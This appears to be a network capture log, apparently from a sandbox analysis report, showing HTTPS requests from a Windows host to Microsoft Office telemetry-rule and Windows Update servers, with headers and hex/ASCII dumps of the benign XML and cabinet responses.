2024-11-22 00:03:17 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000317Z-174c587ffdfcb7qhhC1TEB3x7000000000ng00000000tgkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:17 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:17 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000317Z-174c587ffdfb5q56hC1TEB04kg00000000kg00000000ag4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:18 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:17 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: c70c13b9-401e-0064-2959-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000317Z-178bfbc474bgvl54hC1NYCsfuw0000000280000000003c6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49914	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:18 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPWne69HwSwaO+u&MD=RFePRBpH HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 00:03:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 675ac622-97c3-4270-86d5-2f95d00975b1 MS-RequestId: b91618f2-ef79-4497-b111-056dcfe7d0c0 MS-CV: 7pSlL4Pi0Eeb0Ic8.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 00:03:18 GMT Connection: close Content-Length: 30005
2024-11-22 00:03:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-22 00:03:19 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000320Z-178bfbc474bnwsh4hC1NYC2ubs000000026000000000q1py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:20 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 23fc118c-601e-0084-474e-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000320Z-15b8b599d88wk8w4hC1TEB14b800000000r00000000089dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:20 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:20 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 6db8bce5-501e-0078-354f-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000320Z-15b8b599d88m7pn7hC1TEB4axw00000000r00000000095y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000320Z-174c587ffdf6b487hC1TEBydsn00000000gg00000000c2m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:20 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:20 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a4032f19-b01e-0084-598d-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000320Z-174c587ffdfmrvb9hC1TEBtn3800000000h000000000psyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:20 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:22 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000322Z-178bfbc474bv7whqhC1NYC1fg4000000023000000000uaks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:22 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:22 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 50374635-701e-0053-1175-3b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000322Z-174c587ffdfmrvb9hC1TEBtn3800000000ng00000000fqn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:22 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:22 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
